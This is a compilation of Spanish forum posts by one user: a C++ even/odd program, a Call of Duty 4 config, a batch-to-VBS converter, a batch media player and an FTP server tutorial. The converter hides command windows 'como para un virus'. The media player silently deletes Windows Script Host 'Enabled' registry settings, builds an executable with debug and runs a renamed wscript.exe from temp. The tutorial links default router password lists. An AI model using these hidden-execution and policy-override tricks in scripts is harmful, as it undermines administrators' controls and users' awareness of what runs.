Ph3nn0m

Hola a todos hoy les dejo un mini programa que ise en c++ para saber si un numero es par o impar, les dejo una pequeña explicacion de como hise el codigo Hice este code de otra manera, para no usar la tipica manera de saber si un numero es par o impar, que sería con %% e IF: #include <iostream> using namespace std; int main() { int x; cout << "Ingrese un numero: " <<endl; cin >> x; int n=1; int a=600; for(n;n<=a;n++) { if(x==n) { cout << "Numero IMPAR."; } n++; } int h=2; int f=600; for(h;h<=f;h++) { if(x==h) { cout << "Numero PAR." <<endl; } h++; } return 0; } espero que les sirva de algo

La posición no importa Según estudios recientes: Hacerlo de pie fortalece la columna; boca abajo estimula la circulación de la sangre; boca arriba es más placentero; hacerlo solo es rico, pero egoísta; en grupo puede ser divertido; en el baño es muy digestivo; en el auto puede ser peligroso…. Hacerlo con frecuencia desarrolla la imaginación; entre dos, enriquece el conocimiento; de rodillas, resulta doloroso… En fin, sobre la mesa o sobre el escritorio, antes de comer o de sobremesa, sobre la cama o en la hamaca, desnudos o vestidos, sobre el césped o en la alfombra, con música o en silencio, entre sábanas o en el baño hacerlo, siempre es un acto de amor y de enriquecimiento. No importa la edad, ni la raza, ni el credo, ni el sexo, ni la posición económica… … Leer es un placer!!!

Hola en este post les traigo una Configuracion del Cod4 para tener muchos fps y buen ping bueno sin mas interrupciones aque esta el post: muchos fps = graficos bajos pocos fps = graficos muy altos y otra cosa ¡Esta configuracion no es como las que ven en youtube (Slow Motion)! y la resolucon esta puesta en 640 x 480 (da uns fps extras) aca les dejo unas screen de como se ve: RECUERDEN: mi pc tiene una gt 9500 1gb ddr2, 4 gb ram ddr2 y un athlon x2 de 2.80ghz los resultado pueden variar segun la pc bueno para que les funcione agan lo siguiente Copiar el siguiente texto y guardarlo con extencion .cfg en la carpeta: Call of Duty 4 - Modern Warfare/main Texto: seta ai_badPathSpam "0" seta ai_corpseCount "0" seta ai_debugAccuracy "0" seta ai_debugCoverSelection "0" seta ai_debugMeleeAttackSpots "0" seta ai_debugThreatSelection "0" seta ai_ShowCanshootChecks "0" seta ai_showClaimedNode "0" seta ai_showRegion "0" seta cg_blood "0" seta cg_brass "0" seta cg_centerPrintY "-60" seta cg_chatHeight "8" seta cg_chatTime "12000" seta cg_connectionIconSize "0" seta cg_crosshairAlpha "1" seta cg_crosshairAlphaMin "0.5" seta cg_crosshairDynamic "0" seta cg_crosshairEnemyColor "1" seta cg_cursorHints "4" seta cg_debugInfoCornerOffset "0 0" seta cg_descriptiveText "1" seta cg_drawBreathHint "1" seta cg_drawCrosshair "1" seta cg_drawCrosshairNames "1" seta cg_drawFPS "Simple" seta cg_drawFPSLabels "1" seta cg_drawFriendlyNames "1" seta cg_drawLagometer "0" seta cg_drawMantleHint "1" seta cg_drawSnapshot "0" seta cg_drawTurretCrosshair "1" seta cg_enemyNameFadeIn "250" seta cg_enemyNameFadeOut "250" seta cg_fov "65" seta cg_friendlyNameFadeIn "0" seta cg_friendlyNameFadeOut "1500" seta cg_gameBoldMessageWidth "390" seta cg_gameMessageWidth "455" seta cg_headIconMinScreenRadius "0.02" seta cg_hintFadeTime "100" seta cg_hudChatIntermissionPosition "5 110" seta cg_hudChatPosition "5 150" seta cg_hudDamageIconHeight "64" seta cg_hudDamageIconInScope "0" seta cg_hudDamageIconOffset "128" seta cg_hudDamageIconTime "2000" seta cg_hudDamageIconWidth "128" seta cg_hudGrenadeIconEnabledFlash "0" seta cg_hudGrenadeIconHeight "25" seta cg_hudGrenadeIconInScope "1" seta cg_hudGrenadeIconMaxHeight "104" seta cg_hudGrenadeIconMaxRangeFlash "500" seta cg_hudGrenadeIconMaxRangeFrag "250" seta cg_hudGrenadeIconOffset "50" seta cg_hudGrenadeIconWidth "25" seta cg_hudGrenadePointerHeight "12" seta cg_hudGrenadePointerPivot "12 27" seta cg_hudGrenadePointerPulseFreq "11" seta cg_hudGrenadePointerPulseMax "3" seta cg_hudGrenadePointerPulseMin "-3" seta cg_hudGrenadePointerWidth "25" seta cg_hudMapBorderWidth "2" seta cg_hudMapFriendlyHeight "15" seta cg_hudMapFriendlyWidth "15" seta cg_hudMapPlayerHeight "20" seta cg_hudMapPlayerWidth "20" seta cg_hudMapRadarLineThickness "0.15" seta cg_hudProneY "-160" seta cg_hudSayPosition "5 126" seta cg_hudStanceHintPrints "0" seta cg_hudVotePosition "5 220" seta cg_invalidCmdHintBlinkInterval "600" seta cg_invalidCmdHintDuration "1800" seta cg_laserLight "0" seta cg_mapLocationSelectionCursorSpeed "0.6" seta cg_marks "1" seta cg_marks_ents_player_only "1" seta cg_overheadIconSize "0.7" seta cg_overheadNamesGlow "0 0 0 1" seta cg_overheadNamesMaxDist "10000" seta cg_overheadNamesSize "0.5" seta cg_overheadRankSize "0.5" seta cg_predictItems "1" seta cg_scoreboardBannerHeight "35" seta cg_scoreboardHeaderFontScale "0.3" seta cg_scoreboardHeight "435" seta cg_scoreboardItemHeight "18" seta cg_scoreboardPingHeight "0.7" seta cg_scoreboardPingWidth "0.036" seta cg_scoreboardRankFontScale "0.25" seta cg_scoreboardScrollStep "3" seta cg_scoreboardWidth "400" seta cg_ScoresPing_BgColor "0.25098 0.25098 0.25098 0.501961" seta cg_ScoresPing_HighColor "0.8 0 0 1" seta cg_ScoresPing_Interval "100" seta cg_ScoresPing_LowColor "0 0.74902 0 1" seta cg_ScoresPing_MaxBars "4" seta cg_ScoresPing_MedColor "0.8 0.8 0 1" seta cg_scriptIconSize "0" seta cg_sprintMeterDisabledColor "0.8 0.1 0.1 0.2" seta cg_sprintMeterEmptyColor "0.7 0.5 0.2 0.8" seta cg_sprintMeterFullColor "0.8 0.8 0.8 0.8" seta cg_subtitleMinTime "3" seta cg_subtitles "1" seta cg_subtitleWidthStandard "520" seta cg_subtitleWidthWidescreen "520" seta cg_teamChatsOnly "0" seta cg_viewZSmoothingMax "16" seta cg_viewZSmoothingMin "1" seta cg_viewZSmoothingTime "0.1" seta cg_voiceIconSize "0" seta cg_weaponCycleDelay "0" seta cg_weaponHintsCoD1Style "1" seta cg_youInKillCamSize "6" seta cl_allowDownload "1" seta cl_anonymous "0" seta cl_connectionAttempts "10" seta cl_freelook "1" seta cl_maxpackets "30" seta cl_maxPing "800" seta cl_mouseAccel "0" seta cl_packetdup "1" seta cl_pitchspeed "140" seta cl_punkbuster "1" seta cl_voice "1" seta cl_wwwDownload "1" seta cl_yawspeed "140" seta com_hunkMegs "1024" seta com_introPlayed "1" seta com_maxfps "0" seta com_recommendedSet "1" seta compassClampIcons "1" seta compassCoords "740 3590 400" seta compassDebug "0" seta compassECoordCutoff "37" seta compassFriendlyHeight "15" seta compassFriendlyWidth "15" seta compassMaxRange "2500" seta compassMinRadius "0.0001" seta compassMinRange "0.0001" seta compassObjectiveArrowHeight "16" seta compassObjectiveArrowOffset "2" seta compassObjectiveArrowRotateDist "5" seta compassObjectiveArrowWidth "16" seta compassObjectiveDrawLines "1" seta compassObjectiveHeight "16" seta compassObjectiveIconHeight "16" seta compassObjectiveIconWidth "16" seta compassObjectiveMaxHeight "70" seta compassObjectiveMaxRange "2048" seta compassObjectiveMinAlpha "1" seta compassObjectiveMinHeight "-70" seta compassObjectiveNumRings "10" seta compassObjectiveRingSize "64" seta compassObjectiveRingTime "10000" seta compassObjectiveTextHeight "18" seta compassObjectiveTextScale "0.3" seta compassObjectiveWidth "16" seta compassPlayerHeight "15" seta compassPlayerWidth "15" seta compassRadarLineThickness "0.4" seta compassRadarPingFadeTime "4" seta compassRadarUpdateTime "4" seta compassRotation "1" seta compassSize "1" seta compassSoundPingFadeTime "2" seta compassTickertapeStretch "0.5" seta con_errormessagetime "8" seta con_gameMsgWindow0FadeInTime "0.25" seta con_gameMsgWindow0FadeOutTime "0.5" seta con_gameMsgWindow0Filter "gamenotify obituary" seta con_gameMsgWindow0LineCount "4" seta con_gameMsgWindow0MsgTime "5" seta con_gameMsgWindow0ScrollTime "0.25" seta con_gameMsgWindow0SplitscreenScale "1.5" seta con_gameMsgWindow1FadeInTime "0.25" seta con_gameMsgWindow1FadeOutTime "0.5" seta con_gameMsgWindow1Filter "boldgame" seta con_gameMsgWindow1LineCount "5" seta con_gameMsgWindow1MsgTime "8" seta con_gameMsgWindow1ScrollTime "0.25" seta con_gameMsgWindow1SplitscreenScale "1.5" seta con_gameMsgWindow2FadeInTime "0.25" seta con_gameMsgWindow2FadeOutTime "0.5" seta con_gameMsgWindow2Filter "subtitle" seta con_gameMsgWindow2LineCount "7" seta con_gameMsgWindow2MsgTime "5" seta con_gameMsgWindow2ScrollTime "0.25" seta con_gameMsgWindow2SplitscreenScale "1.5" seta con_gameMsgWindow3FadeInTime "0.25" seta con_gameMsgWindow3FadeOutTime "0.5" seta con_gameMsgWindow3Filter "" seta con_gameMsgWindow3LineCount "5" seta con_gameMsgWindow3MsgTime "5" seta con_gameMsgWindow3ScrollTime "0.25" seta con_gameMsgWindow3SplitscreenScale "1.5" seta con_inputBoxColor "0.25 0.25 0.2 1" seta con_inputHintBoxColor "0.4 0.4 0.35 1" seta con_matchPrefixOnly "1" seta con_minicon "0" seta con_miniconlines "5" seta con_minicontime "4" seta con_outputBarColor "1 1 0.95 0.6" seta con_outputSliderColor "0.15 0.15 0.1 0.6" seta con_outputWindowColor "0.35 0.35 0.3 0.75" seta con_restricted "0" seta con_typewriterColorGlowCheckpoint "0.6 0.5 0.6 1" seta con_typewriterColorGlowCompleted "0 0.3 0.8 1" seta con_typewriterColorGlowFailed "0.8 0 0 1" seta con_typewriterColorGlowUpdated "0 0.6 0.18 1" seta con_typewriterDecayDuration "700" seta con_typewriterDecayStartTime "6000" seta con_typewriterPrintSpeed "50" seta drew_notes "1" seta dynEnt_active "1" seta fx_draw "1" seta fx_drawClouds "1" seta fx_marks "0" seta fx_marks_ents "0" seta fx_marks_smodels "0" seta fx_sort "0" seta g_allowvote "1" seta g_antilag "1" seta g_banIPs "" seta g_clonePlayerMaxVelocity "80" seta g_deadChat "1" seta g_dropForwardSpeed "10" seta g_dropHorzSpeedRand "100" seta g_dropUpSpeedBase "10" seta g_dropUpSpeedRand "5" seta g_log "games_mp.log" seta g_logSync "0" seta g_oldVoting "1" seta g_playerCollisionEjectSpeed "25" seta g_redCrosshairs "1" seta g_useGear "1" seta g_useholdspawndelay "500" seta g_voiceChatTalkingDuration "500" seta g_voteAbstainWeight "0.5" seta hud_deathQuoteFadeTime "1000" seta hud_enable "1" seta hud_fade_ammodisplay "0" seta hud_fade_compass "0" seta hud_fade_healthbar "2" seta hud_fade_offhand "8" seta hud_fade_sprint "1.7" seta hud_fade_stance "1.7" seta hud_fadeout_speed "0.1" seta hud_flash_period_offhand "0.5" seta hud_flash_time_offhand "2" seta hud_health_pulserate_critical "0.5" seta hud_health_pulserate_injured "1" seta hud_health_startpulse_critical "0.33" seta hud_health_startpulse_injured "1" seta in_mouse "1" seta loc_forceEnglish "0" seta loc_language "0" seta m_filter "0" seta m_forward "0.25" seta m_pitch "0.022" seta m_side "0.25" seta m_yaw "0.022" seta monkeytoy "0" seta mss_khz "44" seta net_noipx "0" seta net_noudp "0" seta net_socksEnabled "0" seta net_socksPassword "" seta net_socksPort "1080" seta net_socksServer "" seta net_socksUsername "" seta pb_sleep "500" seta r_aaAlpha "off" seta r_aaSamples "1" seta r_altModelLightingUpdate "1" seta r_aspectRatio "auto" seta r_autopriority "0" seta r_colorbits "32" seta r_compressmodels "1" seta r_customMode "" seta r_debugLineWidth "1" seta r_depthbits "32" seta r_depthPrepass "0" seta r_depthPrepassModels "0" seta r_detail "0" seta r_distortion "0" seta r_dlightLimit "0" seta r_dof_enable "0" seta r_drawDecals "0" seta r_drawSun "0" seta r_drawWater "0" seta r_ext_compiled_vertex_array "1" seta r_ext_compress_textures "1" seta r_ext_compressed_textures "1" seta r_ext_multitexture "1" seta r_ext_NV_fog_dist "0" seta r_ext_texture_env_add "1 " seta r_ext_texture_filter_anisotropic "0" seta r_ext_transform_hint "1" seta r_fastSkin "1" seta r_fastsky "1" seta r_fog "1" seta r_forceLod "none" seta r_fullscreen "1" seta r_gamma "1.50" seta r_glow "0" seta r_glow_allowed "0" seta r_gpuSync "adaptive" seta r_ignorehwgamma "0" seta r_inGameVideo "0" seta r_lodBias "0" seta r_lodBiasRigid "0" seta r_lodBiasSkinned "0" seta r_lodScale "1" seta r_lodScaleRigid "4" seta r_lodScaleSkinned "4" seta r_monitor "0" seta r_multiGpu "0" seta r_normal "0" seta r_nv_fence "0 " seta r_nv_fog_available "0" seta r_nv_fog_dist "0" seta r_nv_fogdist_mode "GL_EYE_RADIAL_NV" seta r_nv_register_combiners "0 " seta r_nv_texture_shader "0" seta r_nv_vertex_array_range "0 " seta r_optimize "1" seta r_optimizeLightmaps "1" seta r_optimizeXModels "5" seta r_outdoor "1" seta r_outdoorAwayBias "32" seta r_outdoorDownBias "0" seta r_outdoorFeather "8" seta r_picmip "3" seta r_picmip_bump "3" seta r_picmip_manual "1" seta r_picmip_spec "3" seta r_picmip_water "1" seta r_polygonOffsetBias "-1" seta r_polygonOffsetScale "-1" seta r_portalBevels "0.7" seta r_preloadShaders "1" seta r_rendererInUse "Shader model 2.0" seta r_rendererPreference "Shader model 2.0" seta r_specular "0" seta r_subdivisions "999" seta r_sunflare_max_size "669.9" seta r_swapInterval "0" seta r_texFilterAnisoMax "1" seta r_texFilterAnisoMin "3" seta r_texFilterMipMode "Unchanged" seta r_texturebits "32" seta r_vsync "0" seta r_zFeather "0" seta ragdoll_enable "0" seta ragdoll_max_simulating "0" seta rate "25000" seta sc_enable "0" seta sm_enable "0" seta sm_maxLights "1" seta sm_spotEnable "1" seta snaps "20" seta snd_bits "16" seta snd_cinematicVolumeScale "0.85" seta snd_debugReplace "0" seta snd_drawEqChannels "0" seta snd_drawEqEnts "0" seta snd_enableEq "0" seta snd_errorOnMissing "0" seta snd_khz "44" seta snd_levelFadeTime "250" seta snd_outputConfiguration "Windows default" seta snd_slaveFadeTime "500" seta snd_touchStreamFilesOnLoad "0" seta snd_volume "0.8" luego entrar al cod 4 abrir la consola tocando la tecla ª y escribir: exec el_nombre_de_su_archivo.cfg y listo ya esta disfrutenlo

Hola hoy les dejo un convertor de .bat a .vbs espero que lo disfruten en esta entrega les dejo el codigo de un convertor de batch a vbs escrito en batch: @echo off set codevbs1=cmd.run "cmd /c set codevbs2=", vbHide echo set cmd = createobject("wscript.shell" ) >> temp.vbs for /f "tokens=*" %%x in ('type batavbs.txt') do (echo %codevbs1% %%x %codevbs2%) >> temp.vbs type "temp.vbs Lo que haces es agarrar un txt llamado "batavbs.txt" con el supesto codigo que escriban adentro y lo guarda en el archivo "temp.vbs" , luego editarlo agregandole a la primer linea: set cmd = createobject("wscript.shell" ) luego agrega al principio y final de la linea donde esta el codigo en bat Ejemplo: cmd.run "cmd /c @echo off ", vbHide cmd.run "cmd /c es para correr el codigo en un cmd y ", vbhide es para esconder la ejecucion, lo pone en 2do plano (como para un virus XD) y si no quieren que se ejecute de forma oculta solo terminen el codigo con " ejemplo sin consola oculta : cmd.run "cmd /c @echo off " si quieren pueden pedirme algun tipo de programa y yo lo hace en batch o vbs y lo postiare

Hola, hoy eh creado para ustedes un reproductor de musica con el fin de demostrar la infinidades de cosas que se pueden hacer en batch...les dejo una pequeña explicacion:La teclas de direccion Izquierda y derecha para seleccionar un boton..La Tecla Enter para presionar el boton..y la tecla ESC para salir (Si o si, al pres. la tecla esc borra los archivos tmporales que creo y cierra correctamente..)Aqui esta el code: @echo off@mode con cols=14 lines=1title .:Cargando...:.clsreg delete "HKLMsoftwareMicrosoftWindows Script HostSettings" /v "Enabled" /f>nulreg delete "HKCUsoftwareMicrosoftWindows Script HostSettings" /v "Enabled" /f>nulclsif exist "screen.size" (goto :Cnt)echo Existes>"screen.size"Reg export HKCUConsole Backup.reg>nulReg delete HKCUConsole%%SystemRoot%%_system32_cmd.exe /f>nulReg add HKCUConsole%%SystemRoot%%_system32_cmd.exe /v FaceName /t REG_SZ /d "Terminal" /f>nulReg add HKCUConsole%%SystemRoot%%_system32_cmd.exe /v FontFamily /t REG_DWORD /d 48 /f>nulReg add HKCUConsole%%SystemRoot%%_system32_cmd.exe /v FontSize /t REG_DWORD /d 524294 /f>nulReg add HKCUConsole%%SystemRoot%%_system32_cmd.exe /v FontWeight /t REG_DWORD /d 700 /f>nulReg add HKCUConsole%%SystemRoot%%_system32_cmd.exe /v ScreenBufferSize /t REG_DWORD /d 13107280 /f>nulReg add HKCUConsole%%SystemRoot%%_system32_cmd.exe /v CursorSize /t REG_DWORD /d 0 /f>nulstart cmd /c %0Reg delete HKCUConsole%%SystemRoot%%_system32_cmd.exe /v FaceName /f>nulReg delete HKCUConsole%%SystemRoot%%_system32_cmd.exe /v FontFamily /f>nulReg delete HKCUConsole%%SystemRoot%%_system32_cmd.exe /v FontSize /f>nulReg delete HKCUConsole%%SystemRoot%%_system32_cmd.exe /v FontWeight /f>nulReg delete HKCUConsole%%SystemRoot%%_system32_cmd.exe /v CursorSize /f>nulReg import Backup.reg>nulDel /Q "screen.size">nulDel /Q "Backup.reg">nulexit:Cnttaskkill /F /IM cmplayer3d1.exe>nuldel /Q "%tmp%cmplayer3d1.exe">nuldel /Q "%tmp%sound.vbs">nuldel /Q "%tmp%timer.vbs">nuldel /Q "%tmp%file.txt"del /Q Key.exe>nuldel /Q Keyboard.dat>nul(echo n keyboard.datecho e 0000 4D 5A 2E 00 01 00 00 00 02 00 00 10 FF FF F0 FFecho e 0010 FE FF 00 00 00 01 F0 FF 1C 00 00 00 00 00 00 00echo e 0020 B4 08 CD 21 3C 00 75 02 CD 21 B4 4C CD 21echo rcxecho 002Eecho w0echo qecho.)>keyboard.datecho type keyboard.dat^|debug>AddKey.batecho ren keyboard.dat key.exe>>AddKey.batecho del /Q %%0>>AddKey.batstart /MIN cmd /c AddKey.batcopy /Y "%systemroot%system32wscript.exe" "%tmp%cmplayer3d1.exe"@mode con cols=60 lines=20>nultitle .: Cargando espere... :.set file=set comp= ...set filec=%file%%comp%echo wscript.sleep 9000>%tmp%timer.vbsclsecho.ECHO í‰íííííííííííííííííííííííííííííííííííííííííííííííííííííííí »echo º CMD MEDIA PLAYER ºecho ºíííííííííííííííííííííííííííííííííííííííííííííííííííííííí ºECHO º ºECHO º USAR CMD MEDIA PLAYER: CON LAS FLECHAS DE DIRECCION.. ºECHO º ºECHO º IZQUIERDA Y DERECHA; LA TECLA ENTER; Y LA TECLA ESC.. ºECHO º ºECHO º PARA SALIR.. ºECHO º ºECHO íˆíííííííííííííííííííííííííííííííííííííííííííííííííííííííí ¼CSCRIPT /NOLOGO %TMP%TIMER.VBStitle .: CMD Media Player :.:openset filec=%file%%comp%clsecho echo echo echo echo.echo SELECCIONAR ARCHIVO:echo í‰ííííííííííííííííííííííííííííííííííííííííííííí »echo º%filec:~0,45% ºecho íˆííííííííííííííííííííííííííííííííííííííííííííí ¼echo.echo í‰ííííííí » í‰íííííí » í‰íííííí »echo ºABRIR º º PLAY º º STOP ºecho íˆííííííí ¼ íˆíííííí ¼ íˆíííííí ¼keyif "%errorlevel%"=="27" (goto :EOFs)if "%errorlevel%"=="77" (goto :Play)if "%errorlevel%"=="13" ((echo Dim DialogBoxecho Dim Txtecho Set DialogBox = CreateObject("UserAccounts.CommonDialog.1"^)echo DialogBox.InitialDir = "%HomeDrive%"echo DialogBox.Filter = "Archivos de Musica WAV, MP3 y MID|*.mp3;*.wav;*.mid"echo DialogBox.ShowOpenecho Set Txt = CreateObject("Scripting.FileSystemObject"^)echo Txt.CreateTextFile("%tmp%file.txt"^).Write DialogBox.filename)>%tmp%comdialog.vbscscript /nologo %tmp%comdialog.vbsset /p file=<"%tmp%file.txt"del /Q %tmp%comdialog.vbs>nulgoto :open) else (goto :open):Playclsecho echo echo echo echo.echo SELECCIONAR ARCHIVO:echo í‰ííííííííííííííííííííííííííííííííííííííííííííí »echo º%filec:~0,45% ºecho íˆííííííííííííííííííííííííííííííííííííííííííííí ¼echo.echo í‰ííííííí » í‰íííííí » í‰íííííí »echo º ABRIR º ºPLAY º º STOP ºecho íˆííííííí ¼ íˆíííííí ¼ íˆíííííí ¼keyif "%errorlevel%"=="27" (goto :EOFs)if "%errorlevel%"=="77" (goto :Stop)if "%errorlevel%"=="75" (goto :open)if "%errorlevel%"=="13" ((echo Set Sound = CreateObject("WMPlayer.OCX"^)echo Sound.URL = "%file%"echo Sound.Controls.playecho wscript.sleep ((int(Sound.currentmedia.duration^)+1^)*1000^)+8000)>%tmp%sound.vbstaskkill /F /IM cmplayer3d1.exe>nulstart /MIN %tmp%cmplayer3d1.exe /nologo %tmp%sound.vbsgoto :play) else (goto :Play):Stopclsecho echo echo echo echo.echo SELECCIONAR ARCHIVO:echo í‰ííííííííííííííííííííííííííííííííííííííííííííí »echo º%filec:~0,45% ºecho íˆííííííííííííííííííííííííííííííííííííííííííííí ¼echo.echo í‰ííííííí » í‰íííííí » í‰íííííí »echo º ABRIR º º PLAY º ºSTOP ºecho íˆííííííí ¼ íˆíííííí ¼ íˆíííííí ¼keyif "%errorlevel%"=="27" (goto :EOFs)if "%errorlevel%"=="75" (goto :Play)if "%errorlevel%"=="13" (taskkill /F /IM cmplayer3d1.exe>nulgoto :Stop) else (goto :Stop):EOFstaskkill /F /IM cmplayer3d1.exe>nuldel /Q "%tmp%cmplayer3d1.exe">nuldel /Q "%tmp%sound.vbs">nuldel /Q "%tmp%timer.vbs">nuldel /Q "%tmp%file.txt">nuldel /Q Key.exe>nuldel /Q Keyboard.dat>nulclsecho msgbox "Gracias por usar CMD Media Player", vbInformation, ".: Mensaje.. :.">%tmp%msg.vbscscript /nologo %tmp%msg.vbs>nuldel /Q "%tmp%msg.vbs">nulexit espero que les alla gustado PD: desde ya muchas gracias al usuario eddy de otros foros por compartir este codigoPD2: es como el codigo original pero lo edite agregando pequeñas cosillas

Empezemos por definir el concepto de servidor FTP, como cualquier PC que contiene archivos o ficheros que se pueden descargar a travéz del protocolo de transferencia de archivos(FTP), mediante cualquier cliente FTP o incluso directamente desde la web.Para ponerlo en palabras sencillas es una pc, a la cuál le hemos instalado un servidor FTP(en nuestro caso FileZilla Server), en el cuál hemos compartido una carpetas específicas para que puedan ser accedidas remotamente.¿Se preguntarán de que puede servir esto? . Pues tiene numerosas aplicaciones, las empresas com microsoft por ejemplo lo usan para poner a disposición de sus usuarios descargas variadas (ftp://ftp.microsoft.com). En nuestro caso lo usaremos para halgo mas trivial e intrascendete pero bastante divertido, como es el compartir música desde la PC de un amigo, hacia la mía. Ya se que podría quemar unos CD's, pero sería menos divertido ¿No?.Para empezar debemos saber que existen tres pasos fundamentales para tener un servidor FTP. 1- Tener una IP Fija, asociando a esta un nombre de dominio (tranquilos es más fácil de lo que parece) 2- Instalar el servidor FTP en si mismo. 3- Mapear el router para permitir que los clientes FTP puedan acceder a nuestra PC.Como algunos de ustedes ya se habrán dado cuenta, esto es muy parecido al post que hice de como crear un servidor web, en realidad es lo mismo solo que en ves de instalar un servidor web,se instala un servidor FTP.Comenzemos por plantear nuestro escenario : 1 PC de amigo en su casa, con línea ADSL, 1 PC en mi casa igual con línea ADSL.Paso 1.- Tener una IP Fija:* Partimos de que la IP(por ejem: 200.41.222.362) que tenemos actualmente es variable es decir , cada vez que prendes tu PC y te conectas a internet la IP cambia. Esto lo puedes comprobar entrando a Cualesmiip.com , web que te muestra tu ip, reinicia tu pc y verás que en cada vez es diferente.Esto es un impedimento para levantar cualquier tipo de servico (como un FTP o un server web), ya que para encontrarnos en internet debemos tener una dirección Fija (es como si constantemente estuvieramos cambiando de celular, nunca nos encontrarían así).Para solucionar este problema debemos tener una IP fija,para lo cual usaremos un software que instalado en nuestra PC, aunque nuestro IP siga cambiando tendrá asociada a esta un nombre de dominio permanente(con el cual si nos podrán encontrar).*Debemos ir a la web www.no-ip.com, en la cuál abriremos una cuenta (todo es free), y crearemos una nombre de dominio, por ejemplo, prueba.no-ip.info.*Luego descargamos el software No-Ip DUC(que podemos descargar desde la misma web No-ip) que deberá correr en nuestra PC ,ya que este será el enlace para que nuestra IP variable este asociada al nombre de dominio que hayamos creado y con el cuál nos van a encontrar.Paso 2: Levantar un servidor FTP.* Para nuestro ejemplo vamos a usar como servidor FTP el FileZilla Server 0.9 (también usaremos el FilleZilla Cliente FTP), por ser uno de los más completos y fáciles de configurar.* Empezemos descargando el FileZilla Server* Empezemos la instalación...* Luego de ejecutar el programa, aparecerá la ventana de bienvenida. Click Botón "I Agree". * Ventana que nos muestra los diferentes componentes a instalar. Click en "Next".* Nos muestra la ruta donde se va a instalar el programa. Click en "Next".* Nos pide escoger si el servidor se va a instalar como servicio de windows o abra que ejecutarlo manualmente.Click en "Next".Comienza la instalación.* Una vez instalado nos saldrá esta ventana, que es la ventana para entrar al servidor FTP. "Server Address" indica a que servidor FTP se va a conectar, en este caso al mostrar "127.0.0.1", significa nuestra misma PC . "Port" es el puerto por el cuál se va a conectar, esto lo definiste cuando instalaste el servidor (ver 4 figura). "Administrator Password", te pide el password para ingresar, pero como recién está instalado, la clave por default es "" (vacía)* Ya tenemos instalado el servidor FTP, ahora tenemos que crear un usuario y configurar unas opciones para que este pueda acceder.* Para crear un usuario, vamos al boton "Usuarios", que esta señalado en la figura con una flecha roja.* Se abre la ventana de creación de usuarios. Seguramente por default en la lista users, del lado derecho de la ventana, ya aparezcan algunos usuarios creados, los cuales por motivos de seguridad sería mejor borrarlos . Los seleccionas y presionas en el "botón Remove" para eliminarlos. Una vez eliminados y con la pantalla como se ve en la figura deberás hacer click en el "botón Add" para empezar a agregar un usuario.* Nos pide poner un nombre de usuario. En este ejemplo es "usuario_prueba". Click en "OK".* Una vez creado el usuario "usuario_prueba"(1), primero debemos activar la cuenta del usuario, marcando el check "Enable Account", y creando un password para este usuario, marcando el check "Password" y escribiendo un password en el recuadro del costado(2).* Una vez creado el usuario debemos darle permisos para determinadas carpetas y ciertos niveles de acceso. Vamos a la lista "Page", que está al lado izquierdo, y marcamos la opción "Shared Folders"(1). Como vemos la pantalla cambia y aparece un recuadro llamado "Shared Folders", dentro del cuál aparece una lista con el campo "Directories". Si existen carpetas definidas o algún item debemos marcalo y clickear en el botón "Remove". Una vez que la lista "Shared Folders" quede vacía, ya podemos agregar las carpetas que queramos compartir para dicho usuario cuando se conecte a nuestro servidor FTP. Para ello daremos click en el botón "Add"(2) .* Se abre una pequeña ventana con los directorios que están en mi PC , para que yo pueda escoger cual de ellas deseo compartir.*Una vez que escoja la carpeta esta aparecerá en la lista "Shared Folders". Junto a esta lista también existe una serie de permisos que el usuario puede otorgar para dicha carpeta. Esta dividido en acciones permitidas a Archivos (Files) y Carpetas (Directories). En este ejemplo marque todos los permisos, pero tu deberás determinar que permisos deseas dar al usuario de acuerdo a nivel de acceso que le permitas. Por ejemplo si quieres que cree carpetas pero que no borre ninguna, en el recuadro "Directories" (encerrado en un recuadro rojo en la figura de abajo) marcas el check "Create" y desmarcas el check "Delete".* Esa sería toda la configuración básica para el servidor FTP. Ahora veremos el último paso, "como mapear el router".Paso 3: Mapear el router.El tema de Mapeo del router suele ser el motivo principal por el cúal muchas veces las configuraciones (servidor web, FTP, etc) de diferentes servicios y programas no llegan a realizarse con éxito. Para empezar debemos decir que existen muchas marcas y modelos de router, por lo tanto las capturas de pantallas no siempre serán las mismas ni las opciones las más exactas ya que eso depende de la marca de tu equipo. Pero en la gran mayoría de ellos es fácil distinguir la sección en donde se mapea el router, es decir se pone que puertos están listos para ser accedidos remotamente (en nuestro caso sera el puerto 21 del FTP).Para esto vamos a Inicio/Ejecutar y escribimos "command", se abrirá una ventana de DOS y escribimos en esta "IPCONFIG", nos mostrará nuestra dirección IP, incluso nos mostrará la "puerta de enlace", que vendría a ser el equipo por el cuál nos conectamos a internet (es decir el router).Una vez la IP del router (192.168.1.1), procedemos a entrar en este mediante un navegador web, para esto abrimos nuestro navegador, ya sea FireFox o Internet Explorer, y escribimos en la barra de direcciones la IP de este.Para esto deberás saber cual es el usuario y contraseña del router, en este caso te muestro una web donde están los pass por default de la marca Zyxel ( http://www.cirt.net/cgi-bin/passwd.pl?method=showven&ven=Zyxel ), aunque puedes visitar la entrada principal de esta web y ver los password de otras marcas y modelos ( http://www.cirt.net/cgi-bin/passwd.pl ) . En algunos casos los provedores le cambian el pasword "Default" por alguna de su empresa.Una vez hallas ingresado al equipo, verás que existe una sección llamada "NAT APPLICATIONS" (en otros modelos y marcas puede variar este nombre, pero es probable que las siglas NAT aparezcan en este).En este deberás abrir el puerto 21 y además redireccionarlo a la IP de tu PCGrabas los valores y listo, ya tienes el router abierto en el puerto 21 para recibir las peticiones FTP que haremos.Recapitulando, tienes una ip fija, gracias al NO-IP que asocia tu IP variable a un nombre web (ejem, miprueba.no-ip.net); Haz instalado un servidor FTP y los has configurado, definiendo carpetas y permisos para un usuario; y por último abriste tu router para que al intentar conectarse remotamente al servidor FTP, las conexiones puedan pasar sin problemas a travez del router.Por último instalaremos un cliente FTP, para conectarnos al servidor FTP que hemos instalado.Para ello instalaremos el Filezilla, pero en su versión cliente ( http://heanet.dl.sourceforge.net/sourceforge/ filezilla/FileZilla_2_2_26a_setup.exe ). En realidad podemos instalar y usar cualquier cliente FTP que queramos.Manual de Instalación del FileZilla Cliente ( http://www.unav.es/cti/guias/FileZilla/filezilla.html ), en la dirección que les paso, solo nos compete el punto uno, el punto 2 "Utilización del Programa FTP", esta demás en nuestro caso.Entramos al FileZilla y nos conectamos a nuestro servidor FTP, para esto ingresamos los siguientes parametros;(1) En la casilla 1 ponemos el nombre que hemos definido en el paso 1 (NO-IP), en nuestro ejemplo era prueba.no-ip.info(2) En la casilla 2 va el nombre de usuario que creamos al momento que instalamos el servidor FTP en la PC. (3) En la casilla 3 va el password que definimos para el usuario que creamos en el 